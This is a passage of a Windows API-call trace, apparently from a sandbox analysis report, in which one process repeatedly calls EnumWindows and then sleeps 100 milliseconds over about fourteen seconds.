EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0112.577] Sleep (dwMilliseconds=0x64) [0112.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0112.721] Sleep (dwMilliseconds=0x64) [0112.881] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0112.882] Sleep (dwMilliseconds=0x64) [0113.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.079] Sleep (dwMilliseconds=0x64) [0113.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.265] Sleep (dwMilliseconds=0x64) [0113.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.416] Sleep (dwMilliseconds=0x64) [0113.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.517] Sleep (dwMilliseconds=0x64) [0113.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.618] Sleep (dwMilliseconds=0x64) [0113.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.739] Sleep (dwMilliseconds=0x64) [0113.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.840] Sleep (dwMilliseconds=0x64) [0113.940] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0113.941] Sleep (dwMilliseconds=0x64) [0114.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.119] Sleep (dwMilliseconds=0x64) [0114.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.275] Sleep (dwMilliseconds=0x64) [0114.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.376] Sleep (dwMilliseconds=0x64) [0114.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.478] Sleep (dwMilliseconds=0x64) [0114.578] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.578] Sleep (dwMilliseconds=0x64) [0114.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.690] Sleep (dwMilliseconds=0x64) [0114.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.791] Sleep (dwMilliseconds=0x64) [0114.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.892] Sleep (dwMilliseconds=0x64) [0114.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0114.993] Sleep (dwMilliseconds=0x64) [0115.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0115.099] Sleep (dwMilliseconds=0x64) [0115.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0115.199] Sleep (dwMilliseconds=0x64) [0115.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0115.301] Sleep (dwMilliseconds=0x64) [0115.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0115.401] Sleep (dwMilliseconds=0x64) [0115.640] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0115.640] Sleep (dwMilliseconds=0x64) [0115.741] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0115.742] Sleep (dwMilliseconds=0x64) [0115.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0115.901] Sleep (dwMilliseconds=0x64) [0116.069] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0116.070] Sleep (dwMilliseconds=0x64) [0116.256] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0116.256] Sleep (dwMilliseconds=0x64) [0116.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0116.401] Sleep (dwMilliseconds=0x64) [0116.502] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0116.502] Sleep (dwMilliseconds=0x64) [0116.638] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0116.640] Sleep (dwMilliseconds=0x64) [0116.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0116.783] Sleep (dwMilliseconds=0x64) [0116.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0116.993] Sleep (dwMilliseconds=0x64) [0117.099] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0117.099] Sleep (dwMilliseconds=0x64) [0117.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0117.302] Sleep (dwMilliseconds=0x64) [0117.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0117.406] Sleep (dwMilliseconds=0x64) [0117.511] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0117.511] Sleep (dwMilliseconds=0x64) [0117.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0117.693] Sleep (dwMilliseconds=0x64) [0117.870] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0117.870] Sleep (dwMilliseconds=0x64) [0117.982] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0117.982] Sleep (dwMilliseconds=0x64) [0118.159] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0118.160] Sleep (dwMilliseconds=0x64) [0118.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0118.274] Sleep (dwMilliseconds=0x64) [0118.375] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0118.375] Sleep (dwMilliseconds=0x64) [0118.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0118.605] Sleep (dwMilliseconds=0x64) [0118.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0118.706] Sleep (dwMilliseconds=0x64) [0118.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0118.924] Sleep (dwMilliseconds=0x64) [0119.042] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0119.042] Sleep (dwMilliseconds=0x64) [0119.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0119.164] Sleep (dwMilliseconds=0x64) [0119.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0119.301] Sleep (dwMilliseconds=0x64) [0119.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0119.554] Sleep (dwMilliseconds=0x64) [0119.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0119.679] Sleep (dwMilliseconds=0x64) [0119.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0119.780] Sleep (dwMilliseconds=0x64) [0119.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0119.936] Sleep (dwMilliseconds=0x64) [0120.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0120.165] Sleep (dwMilliseconds=0x64) [0120.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0120.293] Sleep (dwMilliseconds=0x64) [0120.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0120.455] Sleep (dwMilliseconds=0x64) [0120.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0120.556] Sleep (dwMilliseconds=0x64) [0120.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0120.697] Sleep (dwMilliseconds=0x64) [0120.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0120.818] Sleep (dwMilliseconds=0x64) [0120.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0120.960] Sleep (dwMilliseconds=0x64) [0121.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0121.092] Sleep (dwMilliseconds=0x64) [0121.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0121.221] Sleep (dwMilliseconds=0x64) [0121.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0121.453] Sleep (dwMilliseconds=0x64) [0121.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0121.554] Sleep (dwMilliseconds=0x64) [0121.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0121.715] Sleep (dwMilliseconds=0x64) [0121.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0121.817] Sleep (dwMilliseconds=0x64) [0121.951] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0121.952] Sleep (dwMilliseconds=0x64) [0122.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0122.094] Sleep (dwMilliseconds=0x64) [0122.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0122.303] Sleep (dwMilliseconds=0x64) [0122.404] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0122.404] Sleep (dwMilliseconds=0x64) [0122.526] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0122.526] Sleep (dwMilliseconds=0x64) [0122.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0122.658] Sleep (dwMilliseconds=0x64) [0122.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0122.802] Sleep (dwMilliseconds=0x64) [0122.906] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0122.906] Sleep (dwMilliseconds=0x64) [0123.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0123.159] Sleep (dwMilliseconds=0x64) [0123.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0123.260] Sleep (dwMilliseconds=0x64) [0123.367] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0123.368] Sleep (dwMilliseconds=0x64) [0123.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0123.545] Sleep (dwMilliseconds=0x64) [0123.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0123.725] Sleep (dwMilliseconds=0x64) [0123.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0123.825] Sleep (dwMilliseconds=0x64) [0123.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0123.967] Sleep (dwMilliseconds=0x64) [0124.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0124.090] Sleep (dwMilliseconds=0x64) [0124.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0124.214] Sleep (dwMilliseconds=0x64) [0124.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0124.316] Sleep (dwMilliseconds=0x64) [0124.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0124.491] Sleep (dwMilliseconds=0x64) [0124.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0124.651] Sleep (dwMilliseconds=0x64) [0124.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0124.758] Sleep (dwMilliseconds=0x64) [0124.861] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0124.861] Sleep (dwMilliseconds=0x64) [0125.029] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.029] Sleep (dwMilliseconds=0x64) [0125.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.058] Sleep (dwMilliseconds=0x64) [0125.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.059] Sleep (dwMilliseconds=0x64) [0125.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.069] Sleep (dwMilliseconds=0x64) [0125.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.071] Sleep (dwMilliseconds=0x64) [0125.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.073] Sleep (dwMilliseconds=0x64) [0125.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.107] Sleep (dwMilliseconds=0x64) [0125.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.134] Sleep (dwMilliseconds=0x64) [0125.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.137] Sleep (dwMilliseconds=0x64) [0125.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.139] Sleep (dwMilliseconds=0x64) [0125.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.141] Sleep (dwMilliseconds=0x64) [0125.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.143] Sleep (dwMilliseconds=0x64) [0125.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.144] Sleep (dwMilliseconds=0x64) [0125.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.146] Sleep (dwMilliseconds=0x64) [0125.147] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.147] Sleep (dwMilliseconds=0x64) [0125.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.149] Sleep (dwMilliseconds=0x64) [0125.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.150] Sleep (dwMilliseconds=0x64) [0125.151] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.152] Sleep (dwMilliseconds=0x64) [0125.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.168] Sleep (dwMilliseconds=0x64) [0125.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.173] Sleep (dwMilliseconds=0x64) [0125.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.174] Sleep (dwMilliseconds=0x64) [0125.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.176] Sleep (dwMilliseconds=0x64) [0125.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.179] Sleep (dwMilliseconds=0x64) [0125.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.180] Sleep (dwMilliseconds=0x64) [0125.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.182] Sleep (dwMilliseconds=0x64) [0125.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.183] Sleep (dwMilliseconds=0x64) [0125.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.185] Sleep (dwMilliseconds=0x64) [0125.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.188] Sleep (dwMilliseconds=0x64) [0125.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.189] Sleep (dwMilliseconds=0x64) [0125.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.191] Sleep (dwMilliseconds=0x64) [0125.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.192] Sleep (dwMilliseconds=0x64) [0125.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.194] Sleep (dwMilliseconds=0x64) [0125.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.196] Sleep (dwMilliseconds=0x64) [0125.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.197] Sleep (dwMilliseconds=0x64) [0125.199] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.199] Sleep (dwMilliseconds=0x64) [0125.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.201] Sleep (dwMilliseconds=0x64) [0125.203] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.203] Sleep (dwMilliseconds=0x64) [0125.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.205] Sleep (dwMilliseconds=0x64) [0125.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.207] Sleep (dwMilliseconds=0x64) [0125.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.290] Sleep (dwMilliseconds=0x64) [0125.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.293] Sleep (dwMilliseconds=0x64) [0125.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.295] Sleep (dwMilliseconds=0x64) [0125.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.298] Sleep (dwMilliseconds=0x64) [0125.299] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.300] Sleep (dwMilliseconds=0x64) [0125.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.302] Sleep (dwMilliseconds=0x64) [0125.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.303] Sleep (dwMilliseconds=0x64) [0125.305] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.305] Sleep (dwMilliseconds=0x64) [0125.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.307] Sleep (dwMilliseconds=0x64) [0125.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.308] Sleep (dwMilliseconds=0x64) [0125.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.310] Sleep (dwMilliseconds=0x64) [0125.311] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.311] Sleep (dwMilliseconds=0x64) [0125.313] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.313] Sleep (dwMilliseconds=0x64) [0125.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.314] Sleep (dwMilliseconds=0x64) [0125.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.316] Sleep (dwMilliseconds=0x64) [0125.317] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.318] Sleep (dwMilliseconds=0x64) [0125.320] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.320] Sleep (dwMilliseconds=0x64) [0125.322] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.322] Sleep (dwMilliseconds=0x64) [0125.324] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.324] Sleep (dwMilliseconds=0x64) [0125.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.326] Sleep (dwMilliseconds=0x64) [0125.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.335] Sleep (dwMilliseconds=0x64) [0125.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.337] Sleep (dwMilliseconds=0x64) [0125.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.339] Sleep (dwMilliseconds=0x64) [0125.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.340] Sleep (dwMilliseconds=0x64) [0125.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.342] Sleep (dwMilliseconds=0x64) [0125.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.345] Sleep (dwMilliseconds=0x64) [0125.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.347] Sleep (dwMilliseconds=0x64) [0125.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.430] Sleep (dwMilliseconds=0x64) [0125.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.506] Sleep (dwMilliseconds=0x64) [0125.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.644] Sleep (dwMilliseconds=0x64) [0125.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.679] Sleep (dwMilliseconds=0x64) [0125.680] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.681] Sleep (dwMilliseconds=0x64) [0125.682] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.682] Sleep (dwMilliseconds=0x64) [0125.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.684] Sleep (dwMilliseconds=0x64) [0125.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.685] Sleep (dwMilliseconds=0x64) [0125.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.687] Sleep (dwMilliseconds=0x64) [0125.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.688] Sleep (dwMilliseconds=0x64) [0125.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.690] Sleep (dwMilliseconds=0x64) [0125.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.691] Sleep (dwMilliseconds=0x64) [0125.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.693] Sleep (dwMilliseconds=0x64) [0125.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.695] Sleep (dwMilliseconds=0x64) [0125.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.696] Sleep (dwMilliseconds=0x64) [0125.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.698] Sleep (dwMilliseconds=0x64) [0125.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.699] Sleep (dwMilliseconds=0x64) [0125.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.701] Sleep (dwMilliseconds=0x64) [0125.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.703] Sleep (dwMilliseconds=0x64) [0125.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.704] Sleep (dwMilliseconds=0x64) [0125.705] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.706] Sleep (dwMilliseconds=0x64) [0125.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.708] Sleep (dwMilliseconds=0x64) [0125.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.740] Sleep (dwMilliseconds=0x64) [0125.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.742] Sleep (dwMilliseconds=0x64) [0125.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.744] Sleep (dwMilliseconds=0x64) [0125.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.746] Sleep (dwMilliseconds=0x64) [0125.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.752] Sleep (dwMilliseconds=0x64) [0125.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.753] Sleep (dwMilliseconds=0x64) [0125.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.756] Sleep (dwMilliseconds=0x64) [0125.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.758] Sleep (dwMilliseconds=0x64) [0125.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.760] Sleep (dwMilliseconds=0x64) [0125.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.762] Sleep (dwMilliseconds=0x64) [0125.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.764] Sleep (dwMilliseconds=0x64) [0125.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.766] Sleep (dwMilliseconds=0x64) [0125.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.768] Sleep (dwMilliseconds=0x64) [0125.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.770] Sleep (dwMilliseconds=0x64) [0125.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.772] Sleep (dwMilliseconds=0x64) [0125.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.774] Sleep (dwMilliseconds=0x64) [0125.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.777] Sleep (dwMilliseconds=0x64) [0125.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.779] Sleep (dwMilliseconds=0x64) [0125.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.780] Sleep (dwMilliseconds=0x64) [0125.782] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.782] Sleep (dwMilliseconds=0x64) [0125.786] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.786] Sleep (dwMilliseconds=0x64) [0125.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.788] Sleep (dwMilliseconds=0x64) [0125.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.790] Sleep (dwMilliseconds=0x64) [0125.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.791] Sleep (dwMilliseconds=0x64) [0125.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.793] Sleep (dwMilliseconds=0x64) [0125.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.794] Sleep (dwMilliseconds=0x64) [0125.796] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.796] Sleep (dwMilliseconds=0x64) [0125.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.797] Sleep (dwMilliseconds=0x64) [0125.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.799] Sleep (dwMilliseconds=0x64) [0125.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.800] Sleep (dwMilliseconds=0x64) [0125.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.802] Sleep (dwMilliseconds=0x64) [0125.803] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.803] Sleep (dwMilliseconds=0x64) [0125.805] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.805] Sleep (dwMilliseconds=0x64) [0125.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.806] Sleep (dwMilliseconds=0x64) [0125.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.808] Sleep (dwMilliseconds=0x64) [0125.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.809] Sleep (dwMilliseconds=0x64) [0125.811] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.811] Sleep (dwMilliseconds=0x64) [0125.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.827] Sleep (dwMilliseconds=0x64) [0125.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.829] Sleep (dwMilliseconds=0x64) [0125.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.831] Sleep (dwMilliseconds=0x64) [0125.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0125.955] Sleep (dwMilliseconds=0x64) [0126.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.012] Sleep (dwMilliseconds=0x64) [0126.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.105] Sleep (dwMilliseconds=0x64) [0126.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.132] Sleep (dwMilliseconds=0x64) [0126.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.134] Sleep (dwMilliseconds=0x64) [0126.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.135] Sleep (dwMilliseconds=0x64) [0126.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.137] Sleep (dwMilliseconds=0x64) [0126.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.139] Sleep (dwMilliseconds=0x64) [0126.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.140] Sleep (dwMilliseconds=0x64) [0126.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.142] Sleep (dwMilliseconds=0x64) [0126.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.144] Sleep (dwMilliseconds=0x64) [0126.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.146] Sleep (dwMilliseconds=0x64) [0126.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.148] Sleep (dwMilliseconds=0x64) [0126.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.150] Sleep (dwMilliseconds=0x64) [0126.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.152] Sleep (dwMilliseconds=0x64) [0126.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.154] Sleep (dwMilliseconds=0x64) [0126.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.155] Sleep (dwMilliseconds=0x64) [0126.157] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.157] Sleep (dwMilliseconds=0x64) [0126.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.158] Sleep (dwMilliseconds=0x64) [0126.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.160] Sleep (dwMilliseconds=0x64) [0126.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0126.162] Sleep (dwMilliseconds=0x64) [0126.163] 